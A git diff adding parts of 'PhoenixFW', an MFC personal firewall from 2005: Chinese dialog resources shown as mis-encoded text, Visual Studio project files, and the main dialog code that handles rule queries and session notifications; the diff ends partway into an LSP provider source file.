(P.R.C.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "#define _AFX_NO_SPLITTER_RESOURCES\r\n" + "#define _AFX_NO_OLE_RESOURCES\r\n" + "#define _AFX_NO_TRACKER_RESOURCES\r\n" + "#define _AFX_NO_PROPERTY_RESOURCES\r\n" + "\r\n" + "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\r\n" + "#ifdef _WIN32\r\n" + "LANGUAGE 4, 2\r\n" + "#pragma code_page(936)\r\n" + "#endif //_WIN32\r\n" + "#include ""res\\PhoenixFW.rc2"" // non-Microsoft Visual C++ edited resources\r\n" + "#include ""l.chs\\afxres.rc"" // Standard components\r\n" + "#endif\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDR_MAINFRAME ICON DISCARDABLE "res\\PhoenixFW.ico" + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_ABOUTBOX DIALOG DISCARDABLE 0, 0, 235, 55 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "¹ØÓÚ PhoenixFW" +FONT 9, "ËÎÌå" +BEGIN + ICON IDR_MAINFRAME,IDC_STATIC,11,17,20,20 + LTEXT "PhoenixFW 1.0 °æ",IDC_STATIC,40,10,119,8,SS_NOPREFIX + LTEXT "°æȨËùÓÐ (C) 2005",IDC_STATIC,40,25,119,8 + DEFPUSHBUTTON "È·¶¨",IDOK,178,7,50,14,WS_GROUP +END + +IDD_PHOENIXFW_DIALOG DIALOGEX 0, 0, 372, 215 +STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_APPWINDOW +CAPTION "½ðÓð£¨Phoenix£©¸öÈË·À»ðǽ" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "È·¶¨",IDOK,202,193,50,14 + PUSHBUTTON "È¡Ïû",IDC_ANNUL,260,193,50,14 + PUSHBUTTON "Ó¦ÓÃ",IDC_APPLY,314,193,50,14 +END + +IDD_SYSSET DIALOG DISCARDABLE 0, 0, 274, 143 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ϵͳÉèÖÃ" +FONT 9, "ËÎÌå" +BEGIN + PUSHBUTTON "°²×°",IDC_INSTALL,26,23,50,14 + PUSHBUTTON "жÔØ",IDC_REMOVE,98,23,50,14 + CONTROL "ÉèÖÿª»ú×Ô¶¯Æô¶¯",IDC_AUTOSTART,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,26,48,83,10 + CONTROL "·ÅÐÐËùÓÐ",IDC_PASS_ALL,"Button",BS_AUTORADIOBUTTON,26, + 84,48,10 + CONTROL "ѯÎÊ",IDC_QUERY_ALL,"Button",BS_AUTORADIOBUTTON,98,84, + 32,10 + CONTROL "¾Ü¾øËùÓÐ",IDC_DENY_ALL,"Button",BS_AUTORADIOBUTTON,162, + 84,48,10 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,77,236,2 + LTEXT "Óû§²ã¹¤×÷ģʽÉèÖãº",IDC_STATIC,16,67,81,8 + LTEXT "ºËÐIJ㹤×÷ģʽÉèÖãº",IDC_STATIC,14,103,81,8 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,114,236,2 + CONTROL "·ÅÐÐËùÓÐ",IDC_KERPASS_ALL,"Button",BS_AUTORADIOBUTTON, + 26,119,48,10 + CONTROL "¿ªÆô¹ýÂË",IDC_KERSTART_FILTER,"Button", + BS_AUTORADIOBUTTON,98,119,48,10 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,12,17,236,2 + LTEXT "¹«¹²ÉèÖãº",IDC_STATIC,15,7,41,8 +END + +IDD_RULE_CONTROL DIALOGEX 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "Ó¦Óòã¹ýÂ˹æÔò" +FONT 9, "ËÎÌå", 0, 0, 0x1 +BEGIN + CONTROL "List1",IDC_RULES,"SysListView32",LVS_REPORT | + LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_BORDER | + WS_TABSTOP,0,25,357,136,WS_EX_CLIENTEDGE + PUSHBUTTON "Ìí¼Ó",IDC_ADD,191,10,50,14 + PUSHBUTTON "ɾ³ý",IDC_DEL,301,10,50,14 + PUSHBUTTON "±à¼­",IDC_EDIT,246,10,50,14 + LTEXT "Ó¦ÓóÌÐòȨÏÞ¹æÔò£º",IDC_STATIC,9,12,74,8 +END + +IDD_MONITOR DIALOG DISCARDABLE 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ÍøÂç·ÃÎʼàÊÓ" +FONT 9, "ËÎÌå" +BEGIN + LTEXT "״̬ÁÐ±í£º",IDC_STATIC,11,13,41,8 + CONTROL "Tree1",IDC_TREEMONITOR,"SysTreeView32",TVS_HASBUTTONS | + TVS_HASLINES | TVS_LINESATROOT | WS_BORDER | WS_TABSTOP, + 0,29,357,132 +END + +IDD_RULE DIALOG DISCARDABLE 0, 0, 256, 209 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Ìí¼ÓÓ¦Óòã¹æÔò" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "È·¶¨",IDOK,143,190,50,14 + PUSHBUTTON "È¡Ïû",IDCANCEL,199,190,50,14 + LTEXT "Ó¦ÓóÌÐò£º",IDC_STATIC,11,45,41,8 + COMBOBOX IDC__APPLICATION,59,41,159,65,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "...",IDC_BROWSER,224,42,22,12 + LTEXT "ʵʩ¶¯×÷£º",IDC_STATIC,11,74,41,8 + COMBOBOX IDC_ACTION,59,70,159,51,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "½ø³ö·½Ïò£º",IDC_STATIC,11,59,41,8 + COMBOBOX IDC_DIRECTION,59,55,159,65,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "·þÎñÀàÐÍ£º",IDC_STATIC,13,124,43,10 + COMBOBOX IDC_TYPE,59,121,160,97,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + LTEXT "·þÎñ¶Ë¿Ú£º",IDC_STATIC,13,139,41,9 + EDITTEXT IDC_PORT,59,136,159,14,ES_AUTOHSCROLL + EDITTEXT IDC_MEMO,59,151,159,15,ES_AUTOHSCROLL + LTEXT "±¸×¢£º",IDC_STATIC,14,155,38,10 + LTEXT "»ù±¾ÉèÖÃ",IDC_RULE_TITLE,13,12,242,16 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,9,31,236,2 + LTEXT "¸ß¼¶ÉèÖÃ",IDC_STATIC,15,97,44,9 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,9,112,236,2 + CONTROL "",IDC_STATIC,"Static",SS_ETCHEDFRAME,11,184,236,2 +END + +IDD_KERRULE_CONTROL DIALOGEX 0, 0, 357, 161 +STYLE WS_CHILD | WS_CAPTION +CAPTION "ºËÐIJã¹ýÂ˹æÔò" +FONT 9, "ËÎÌå" +BEGIN + CONTROL "List1",IDC_KERRULES,"SysListView32",LVS_REPORT | + LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_BORDER | + WS_TABSTOP,0,28,357,133,WS_EX_CLIENTEDGE + LTEXT "¹ýÂ˹æÔòÉèÖãº",IDC_STATIC,10,14,74,8 + PUSHBUTTON "Ìí¼Ó",IDC_KERADD,191,10,50,14 + PUSHBUTTON "ɾ³ý",IDC_KERDEL,301,10,50,14 + PUSHBUTTON "±à¼­",IDC_KEREDIT,246,10,50,14 +END + +IDD_KERRULE DIALOG DISCARDABLE 0, 0, 222, 237 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Ìí¼ÓºËÐIJã¹æÔò" +FONT 9, "ËÎÌå" +BEGIN + LTEXT "IPµØÖ·Öµ :",IDC_STATIC,21,90,41,8 + GROUPBOX "»ù±¾ÉèÖÃ",IDC_STATIC,7,7,207,48 + LTEXT "ЭÒéÀàÐÍ :",IDC_STATIC,21,23,41,8 + LTEXT "ʵʩ¶¯×÷ :",IDC_STATIC,21,37,41,8 + COMBOBOX IDC_RULE_PROTOCOL,95,19,103,136,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_RULE_ACTION,95,33,103,86,CBS_DROPDOWN | CBS_SORT | + WS_VSCROLL | WS_TABSTOP + GROUPBOX "ÍøÂçÉèÖÃ",IDC_STATIC,7,61,206,144 + GROUPBOX "Ô´¶ËÍøÂ緶Χ",IDC_STATIC,16,75,191,60 + LTEXT "IPÑÚλÂë :",IDC_STATIC,21,103,41,8 + LTEXT "¶Ë¿ÚºÅÂë :",IDC_STATIC,21,116,41,8 + CONTROL "IPAddress1",IDC_SOURCE_IP,"SysIPAddress32",WS_TABSTOP, + 95,86,103,12 + CONTROL "IPAddress2",IDC_SOURCE_MASK,"SysIPAddress32",WS_TABSTOP, + 95,99,103,12 + EDITTEXT IDC_SOURCE_PORT,95,112,103,12,ES_AUTOHSCROLL | ES_NUMBER + LTEXT "IPµØÖ·Öµ :",IDC_STATIC,21,155,41,8 + GROUPBOX "Ä¿µÄ¶ËÍøÂ緶Χ",IDC_STATIC,15,140,191,60 + LTEXT "IPÑÚλÂë :",IDC_STATIC,21,168,41,8 + LTEXT "¶Ë¿ÚºÅÂë :",IDC_STATIC,21,181,41,8 + CONTROL "IPAddress1",IDC_DEST_IP,"SysIPAddress32",WS_TABSTOP,95, + 151,103,12 + CONTROL "IPAddress2",IDC_DEST_MASK,"SysIPAddress32",WS_TABSTOP, + 95,164,103,12 + EDITTEXT IDC_DEST_PORT,95,177,103,12,ES_AUTOHSCROLL | ES_NUMBER + DEFPUSHBUTTON "È·¶¨",IDOK,109,218,50,14 + PUSHBUTTON "È¡Ïû",IDCANCEL,165,218,50,14 +END + + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 2,0,0,1 + PRODUCTVERSION 2,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x4L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "\0" + VALUE "FileDescription", "PhoenixFW Microsoft »ù´¡ÀàÓ¦ÓóÌÐò\0" + VALUE "FileVersion", "2, 0, 0, 1\0" + VALUE "InternalName", "PhoenixFW\0" + VALUE "LegalCopyright", "°æȨËùÓÐ (C) 2005\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "PhoenixFW.EXE\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "PhoenixFW Ó¦ÓóÌÐò\0" + VALUE "ProductVersion", "2, 0, 0, 1\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // !_MAC + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO DISCARDABLE +BEGIN + IDD_ABOUTBOX, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 228 + TOPMARGIN, 7 + BOTTOMMARGIN, 48 + END + + IDD_PHOENIXFW_DIALOG, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 365 + TOPMARGIN, 7 + BOTTOMMARGIN, 208 + END + + IDD_SYSSET, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 267 + TOPMARGIN, 7 + BOTTOMMARGIN, 136 + END + + IDD_RULE_CONTROL, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_MONITOR, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_RULE, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 249 + TOPMARGIN, 7 + BOTTOMMARGIN, 202 + END + + IDD_KERRULE_CONTROL, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 350 + TOPMARGIN, 7 + BOTTOMMARGIN, 154 + END + + IDD_KERRULE, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 218 + TOPMARGIN, 7 + BOTTOMMARGIN, 230 + END +END +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Bitmap +// + +IDB_ADAPTER_BITMAP BITMAP DISCARDABLE "res\\bitmap1.bmp" + +///////////////////////////////////////////////////////////////////////////// +// +// String Table +// + +STRINGTABLE DISCARDABLE +BEGIN + IDS_ABOUTBOX "¹ØÓÚ PhoenixFW(&A)..." +END + +#endif // Chinese (P.R.C.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// +#define _AFX_NO_SPLITTER_RESOURCES +#define _AFX_NO_OLE_RESOURCES +#define _AFX_NO_TRACKER_RESOURCES +#define _AFX_NO_PROPERTY_RESOURCES + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE 4, 2 +#pragma code_page(936) +#endif //_WIN32 +#include "res\PhoenixFW.rc2" // non-Microsoft Visual C++ edited resources +#include "l.chs\afxres.rc" // Standard components +#endif + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.sln b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.sln new file mode 100644 index 0000000..ba07ebd --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhoenixFW", "PhoenixFW.vcproj", "{1FB87E7D-CA1F-49EE-BBFD-630239A84546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.ActiveCfg = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.Build.0 = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.ActiveCfg = Release|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo new file mode 100644 index 0000000..0ff00c5 Binary files /dev/null and b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo differ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo.old b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo.old new file mode 100644 index 0000000..b89dee5 Binary files /dev/null and b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.suo.old differ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.vcproj b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.vcproj new file mode 100644 index 0000000..5983fd9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.vcproj @@ -0,0 +1,594 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.cpp new file mode 100644 index 0000000..c09a0ef --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.cpp @@ -0,0 +1,283 @@ +// PhoenixFWDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CAboutDlg dialog used for App About + + +extern CPhoenixApp theApp; + +class CAboutDlg : public CDialog +{ +public: + CAboutDlg(); + +// Dialog Data + //{{AFX_DATA(CAboutDlg) + enum { IDD = IDD_ABOUTBOX }; + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CAboutDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + //{{AFX_MSG(CAboutDlg) + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) +{ + //{{AFX_DATA_INIT(CAboutDlg) + //}}AFX_DATA_INIT +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CAboutDlg) + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) + //{{AFX_MSG_MAP(CAboutDlg) + // No message handlers + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg dialog + +CMainDlg::CMainDlg(CWnd* pParent /*=NULL*/) + : CDialog(CMainDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CMainDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT + // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); +} + +void CMainDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CMainDlg) + // NOTE: the ClassWizard will add DDX and DDV calls here + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CMainDlg, CDialog) + //{{AFX_MSG_MAP(CMainDlg) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() + ON_MESSAGE(PM_QUERY_ACL_NOTIFY, OnQueryAcl) + ON_MESSAGE(PM_SESSION_NOTIFY, OnSessionNotify) + ON_BN_CLICKED(IDC_APPLY, OnApply) + ON_BN_CLICKED(IDC_ANNUL, OnAnnul) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg message handlers + +BOOL CMainDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // Add "About..." menu item to system menu. + + // IDM_ABOUTBOX must be in the system command range. + ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); + ASSERT(IDM_ABOUTBOX < 0xF000); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + CString strAboutMenu; + strAboutMenu.LoadString(IDS_ABOUTBOX); + if (!strAboutMenu.IsEmpty()) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // Set the icon for this dialog. The framework does this automatically + // when the application's main window is not a dialog + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + // TODO: Add extra initialization here + + + // ÉèÖù²ÏíÊý¾Ý + TCHAR sz[256]; + ::GetModuleFileName(NULL, sz, 256); + g_pIoControl->SetPhoenixInstance(m_hWnd, sz); + + // ÏòÊôÐÔÒ³ÖмÓÈë±êÇ©£¬±êÇ©ÃûÓɸ÷¸ö×Ó¶Ô»°¿òµÄ±êÌâÀ¸¾ö¶¨ + m_sheet.AddPage(&m_MonitorPage); + m_sheet.AddPage(&m_RulePage); + m_sheet.AddPage(&m_KerRulePage); + m_sheet.AddPage(&m_SyssetPage); + + // ÓÃCreateÀ´´´½¨Ò»¸öÊôÐÔÒ³ + m_sheet.Create(this, WS_CHILD | WS_VISIBLE, WS_EX_CONTROLPARENT); + + // µ÷ÕûÊôÐÔÒ³µÄ´óСºÍλÖà + RECT rect; + GetWindowRect(&rect); + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + m_sheet.SetWindowPos(NULL, + 0, 0, width - 4, height - 25, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE); + + // ÎÞЧ¡°Ó¦Óá±°´Å¥ + GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); + + return TRUE; // return TRUE unless you set the focus to a control +} + +void CMainDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialog::OnSysCommand(nID, lParam); + } +} + +// If you add a minimize button to your dialog, you will need the code below +// to draw the icon. For MFC applications using the document/view model, +// this is automatically done for you by the framework. + +void CMainDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // device context for painting + + SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); + + // Center icon in client rectangle + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // Draw the icon + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialog::OnPaint(); + } +} + +// The system calls this to obtain the cursor to display while the user drags +// the minimized window. +HCURSOR CMainDlg::OnQueryDragIcon() +{ + return (HCURSOR) m_hIcon; +} + + +long CMainDlg::OnQueryAcl(WPARAM wParam, LPARAM lParam) // ´¦ÀíPM_QUERY_ACL_NOTIFYÏûÏ¢ +{ + // »ñȡѯÎʵÄÓ¦ÓóÌÐòÃû³Æ + LPCTSTR lpszApp = g_pIoControl->GetQueryApp(wParam); + + if(CRulePage::AddQueryRule(lpszApp)) + g_pIoControl->SetQueryApp(wParam, 1); // ·ÅÐÐ + else + g_pIoControl->SetQueryApp(wParam, 0); // ¾Ü¾ø + + return 0; +} + +long CMainDlg::OnSessionNotify(WPARAM wParam, LPARAM lParam) // ´¦ÀíPM_SESSION_NOTIFYÏûÏ¢ +{ + SESSION session; + // »ñÈ¡DLL·¢ËÍÀ´µÄSession + g_pIoControl->GetSession(&session, wParam); + // ½«Session´«µÝ¸øCMonitorPageÀà + CMonitorPage::HandleNotifySession(&session, lParam); + return 0; +} + +void CMainDlg::OnApply() // Óû§µã»÷¡°Ó¦Óá±°´Å¥ +{ + if(!GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + return; + + // ½«Óû§µÄÉèÖñ£´æµ½Îļþ + if(!g_RuleFile.SaveRules()) + { + MessageBox(L"±£´æ¹æÔò³ö´í¡£"); + return; + } + // ½«ÎļþÖеÄÊý¾ÝÓ¦Óõ½DLLÄ£¿éºÍSYSÄ£¿é + if(!theApp.ApplyFileData()) + return; + + // ÉèÖÿª»ú×Ô¶¯Æô¶¯ + theApp.SetAutoStart(g_RuleFile.m_header.bAutoStart); + + // ÎÞЧ±¾°´Å¥ + GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); +} + +void CMainDlg::OnAnnul() // Óû§µã»÷¡°È¡Ïû¡±°´Å¥ +{ + if(GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + { + if(AfxMessageBox(L"Òª±£´æËù×öµÄÐÞ¸ÄÂð£¿", MB_YESNO) == IDYES) + { + OnApply(); + } + } + // ×îС»¯´°¿Ú + SendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); +} + +void CMainDlg::OnOK() // Óû§µã»÷¡°È·¶¨¡±°´Å¥ +{ + // Ó¦ÓÃÓû§ÉèÖà + OnApply(); + // ×îС»°´°¿Ú + SendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); +} + +void CMainDlg::OnCancel() // Óû§¹Ø±Õ¶Ô»°¿ò +{ + if(GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + { + if(AfxMessageBox(L"Òª±£´æËù×öµÄÐÞ¸ÄÂð£¿", MB_YESNO) == IDYES) + { + OnApply(); + } + } + + CDialog::OnCancel(); +} \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.h new file mode 100644 index 0000000..8f4bdfc --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFWDlg.h @@ -0,0 +1,67 @@ +// PhoenixFWDlg.h : header file +// + +#if !defined(AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_) +#define AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg dialog + +#include "MonitorPage.h" +#include "RulePage.h" +#include "SyssetPage.h" +#include "KerRulePage.h" + +class CMainDlg : public CDialog +{ +// Construction +public: + CMainDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CMainDlg) + enum { IDD = IDD_PHOENIXFW_DIALOG }; + // NOTE: the ClassWizard will add data members here + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CMainDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +public: + HICON m_hIcon; + + CPropertySheet m_sheet; // ÊôÐÔÒ³£¬ÓÃÓÚÈÝÄÉÏÂÃæ4¸ö±êÇ©£¨Ò³Ã棩 + + CRulePage m_RulePage; // ÍøÂç·ÃÎʼàÊÓÒ³Ãæ + CMonitorPage m_MonitorPage; // Ó¦Óòã¹ýÂ˹æÔòÒ³Ãæ + CSyssetPage m_SyssetPage; // ºËÐIJã¹ýÂ˹æÔòÒ³Ãæ + CKerRulePage m_KerRulePage; // ϵͳÉèÖÃÒ³Ãæ + + // Generated message map functions + //{{AFX_MSG(CMainDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + virtual void OnOK(); + afx_msg long OnQueryAcl(WPARAM wParam, LPARAM lParam); + afx_msg long OnSessionNotify(WPARAM wParam, LPARAM lParam); + afx_msg void OnApply(); + virtual void OnCancel(); + afx_msg void OnAnnul(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixLSP.dll b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixLSP.dll new file mode 100644 index 0000000..80b2f48 Binary files /dev/null and b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixLSP.dll differ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/Provider.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/Provider.cpp new file mode 100644 index 0000000..d7f96b4 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/Provider.cpp @@ -0,0 +1,281 @@ +///////////////////////////////////////////////// +// ½ðÓð(Phoenix)¸öÈË·À»ðǽ V1.1 + + + +#include "stdafx.h" + +#include +#include + + +// Òª°²×°µÄLSPµÄÓ²±àÂ룬ÔÚÒƳýµÄʱºò»¹ÒªÊ¹ÓÃËü +GUID ProviderGuid = {0xd3c21122, 0x85e1, 0x48f3, + {0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}}; + + + +LPWSAPROTOCOL_INFOW 